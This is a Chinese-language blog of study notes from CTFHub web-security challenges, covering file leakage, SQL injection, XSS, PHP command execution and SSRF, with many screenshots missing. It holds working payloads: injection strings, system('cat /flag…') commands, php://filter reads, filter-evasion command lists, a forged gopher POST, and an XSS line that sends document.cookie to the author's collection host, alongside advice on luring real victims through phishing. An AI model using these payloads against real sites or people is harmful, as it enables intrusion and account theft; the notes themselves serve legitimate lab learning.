0%

ctfhub刷题心得

1. web

1. 前置技能

1. http协议

1. 请求方式

HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。

2. 302跳转

301跳转是指页面永久性移走(永久跳转),通常叫做301跳转,也叫 301重定向 ,301转向。301跳转多用于旧网址在废弃前转向新网址以保证用户的访问,在诸多服务器中,均支持本跳转方法。

302重定向又称之为暂时性转移(临时跳转),英文名称:302 redirect。 也被认为是暂时重定向 ,一条对网站浏览器的指令来显示浏览器被要求显示的不同的URL,当一个网页历过短期的URL的变化时使用。一个暂时重定向是一种服务器端的重定向,能够被搜索引擎蜘蛛正确地处理。

  • 比如一个portal页面,换了新的域名,但是老的域名地址还有很多用户在使用,这样可以对老域名配置302跳转到新域名地址,保证服务的延续。
  • 另外对于一些客户端预埋的Url链接,免不了老版本地址失效与更改,将老地址配置302跳转到新地址,这样就能够全面兼容所有客户端版本。

image-20230722195004196

3.

2. 信息泄露

1. 目录遍历

2. phpinfo

3. 备份文件下载

1. 网站源码

2. bak文件

3. vim缓存

当我们使用vim或者vi编辑文件时,出现不正常的情况(多个程序编辑同一个文件),系统会产生一个.(flilename).swp文件,我们在网站中访问该文件,便可以拿到网站的源码

4. .DS_Store

4. git

1. log

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题

image-20230724101810666

没做出来,呜呜呜

5. svn泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

我们也需要使用一个工具来利用svn泄露——dvcs-ripper,安装教程:(22条消息) dvcs-ripper安装教程_海滩丨长颈鹿的博客-CSDN博客

image-20230724141207580

执行命令

image-20230724141119351

查看到flag

6. hg泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞

image-20230724142806792

执行命令

image-20230724142857455

找到一个类似的flag文件,但是我在下载下的文件夹里翻半天也没发现,那我直接尝试使用该文件直接在网站访问

image-20230724143057762

成功找到

3. SQL注入

1. 整数型注入

除了手工注入外,我们还可以使用sqlmap这个渗透工具。sqlmap是一款开源的渗透测试工具,它可以自动化地检测和利用SQL注入漏洞,从而获取数据库服务器的控制权。通过具体的使用,其使用确实要比手工注入要更方便快捷,使用–current-db,–tables,–columns等几个命令便可以较为简单的拿到数据库的有关信息。

在手工注入中,我们需要知道几个信息,MySQL的数据库中一般都会有一个information_schema这样的一个数据库,其中一般都会存放一些关于mysql数据库的相关信息。我们可以从其中的tables,columns表中找到我们想要的表名和列名。

在进行sql注入时,一般的步骤都是:

①判断注入点:比如我们可以在填写的信息后添加上” and 1 = 1”这样的条件进行判断是否存在注入点。

②判断列数:我们可以使用“order by number”来判断到底有几列。

③拿到数据库名:sqlmap我们可以使用命令–current-db,而手工注入就要使用联合查询和database()函数。

④拿到表名:sqlmap可以使用–tables命令,手工注入使用联合查询从information_schema.tables这张表中拿到表名。

⑤拿到列名:sqlmap可以使用–columns命令,手工注入使用联合查询从information_schema.columns表中拿到列名。

⑥从想要的表中拿到数据:根据上述拿到的数据库名,表名,列名拿到数据。

2. 字符型注入

对于字符串注入,当我们注入的值为1时,其运行的代码是

1
select * from news where id='1'

可以看到,我们输入的内容被一串字符串包裹起来了,那么,我可以使用一些特殊字符串将其绕过。

我们可以输入 1’ order by 2;#,这样的输入,1后面的引号可以使得自带的前一个引号闭合,在语句的最后加上#,也就是将后面的内容注释掉,不会再执行这样的内容。

最后的执行代码是,

1
select * from news where id='1' order by 2;#'

3. 报错注入

主要使用一个updatexml()这样的一个方法。

updatexml()函数

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

image-20230807195417378

当我们输入1时,没有任何问题,成功查询

image-20230807195508562

出现报错信息,可以使用报错注入

image-20230807195745003

拿到了数据库的名称

4. XSS

1、明确cookie的作用
当你登录账号密码,服务端就会给你一个cookie,这样你在这个平台上的操作就带上了cookie来验证身份,而不用每一次操作都要你登录账号密码。cookie相当于每个人的登录凭证,如果得到了别人的cookie,特别是管理员的,我们将可以不用输账号密码,直接登录,从而获取管理员权限。

2、XSS的目的
获取别人的cookie。
Web渗透测试之XSS攻击:反射型XSS

获得cookie的方法:我们在有XSS漏洞的搜索栏中输入 (http://127.0.0.1/xss/UYxzH8?1608472710/ 为我们搭建的XSS平台)。

②接着构造虚假URL诱使受害用户点击:http://xxx/xx?abc=<script src=”http://127.0.0.1/xss/UYxzH8?1608472710/”+document.cookie;> 。就像上面那个蓝字链接,我诱使你们点击,然后你们的浏览器就会请求蓝字背后的链接。如果我把蓝字背后的链接换成http://xxx/xx?abc=<script src=”http://127.0.0.1/xss/UYxzH8?1608472710/”+document.cookie;> ,在你们点击后,你们的浏览器就会带上你们的cookie,访问http://127.0.0.1/xss/UYxzH8?1608472710/,从而在我所搭建的平台日志上留下你们的cookie。

③在用户点击后,只需查看我们所搭建平台的日志即可获得受害用户的cookie。在获得cookie之后就可以利用抓包工具修改请求包中的cookie,将其替换为受害用户的cookie即可登录受害用户的账号。而诱使用户点击虚假URL的方式有很多,如钓鱼邮件、特殊的图片或文本等。

1. 反射型

image-20230818175801011

image-20230818175838535

获取XSS反射代码

image-20230818175917767

访问到xss代码

image-20230818180011029

获取到flag

5. RCE

1. eval执行

image-20230905161224097

题目给出了php的代码,PHP代码显示,要求将命令赋值给cmd然后执行

image-20230905161446056

cmd命令的格式一点不能错,后面的分号不能省略

image-20230905162137980

1
2
//查看上一级的目录
cmd=system("ls /");

发现flag文件

image-20230905162352302

使用cat命令

1
cmd=system("cat /flag_21985");

查看到flag的具体内容

2. 文件包含

image-20230905164534416

image-20230905164602319

拿到题目,可以发现,我们在执行的时候可以将某个文件包含运行,这里明显要求将shell.txt的文件包含一起执行

image-20230905164723651

成功执行代码

image-20230905164802046

使用蚁剑连接,当然,使用system命令查看一个也是可以的,然后可以拿到flag

3. php://input

image-20230912103927339

查看题目,可以发现题目没有给我们任何的有eval执行的shell文件了,但是,其留下了一个php://命令,可以使用php://input命令将我们想执行的代码传上去。

php://input命令是一个php的命令输入流,其会将我们的代码以post的形式传到服务器,换句话说,php://input能接收我们写在post中的代码,并传输到服务器端。

4. 源代码读取

image-20230912111214367

fla在flag中,直接进行访问,使用php://filter/read=convert.base64-encode/resource=[文件名]即可。

image-20230912112103953

image-20230912112120798

5. 远程包含

image-20230912112714652

image-20230912112742766

发现包含include,查看phpinfo,发现开启了allow_url_fopen和allow_url_include,也就是开启了远程包含

image-20230912114803016

使用php://input将命令上传执行。

6. 命令注入-无过滤

两个命令的分隔:

1、每个命令之间用(分号)”;”隔开;
说明:各命令的执行结果,不会影响其他命令的。
意思是说每个命令都会执行,但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。
3、每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

image-20230913094235230

image-20230913094431205

image-20230913104311058

image-20230913104359762

直接使用Linux的命令进行查看

7. 命令注入-cat过滤

image-20230913141710717

image-20230913141928238

将cat命令过滤了,可以使用其他的查看命令

当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容

8. 命令注入-过滤空格

image-20230913142247986

image-20230913142601768

9. 命令注入-过滤目录分隔符

image-20230913143918669

image-20230913144015186

image-20230913144137007

10. 命令注入-过滤运算符

image-20230913145850858

image-20230913145952945

image-20230913151042475

image-20230913151535192

image-20230913151718585

6. SSRF

1. 内网访问

image-20230913201824609

2. 伪协议读取文件

image-20230913204053560

3. 端口扫描

image-20230913205211049

image-20230913205255854

image-20230913205530535

image-20230913205740556

image-20230913205803285

4. POST请求

写在题目前:

302跳转的302是http状态码

表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL

这里可以通过访问302.php,并且传参gopher来伪造本地访问

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议

可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造妮?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

这里直接写伪造的gopher协议

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d93819c4c1a18dc606dc5c6486f77227

image-20230917104920370

image-20230917105031724

访问flag.php,会发现其给了一个上传框,并且给了一个key。

image-20230917105323709

使用上传框传数据,但是却提示只能从本地访问。那我们可以使用gopher协议冒充本地访问

image-20230917105537086

image-20230917105714104

使用gopher构造,具体结构如图,注意,Content-Length的长度应当与key的长度相同,否则不能访问。

5. 文件上传

image-20230918134059991
image-20230918134028668

--------------本文结束感谢您的阅读--------------